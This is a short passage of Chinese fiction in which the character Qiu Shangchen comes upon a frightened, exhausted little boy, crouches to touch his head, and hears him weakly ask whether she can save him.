小男孩抬起头,对上了秋上尘的眼睛,这一刻,秋上尘看见小男孩看向她的眼神涣散,那眼中全是恐惧,甚至瞳孔没有聚焦,显然已经是强弩之末。
秋上尘皱眉,半晌,竟缓缓蹲下摸了摸小男孩的头顶,然后她听见小男孩用虚弱的声音说了一句话。
“姐姐,你…你可以…救,救我吗?”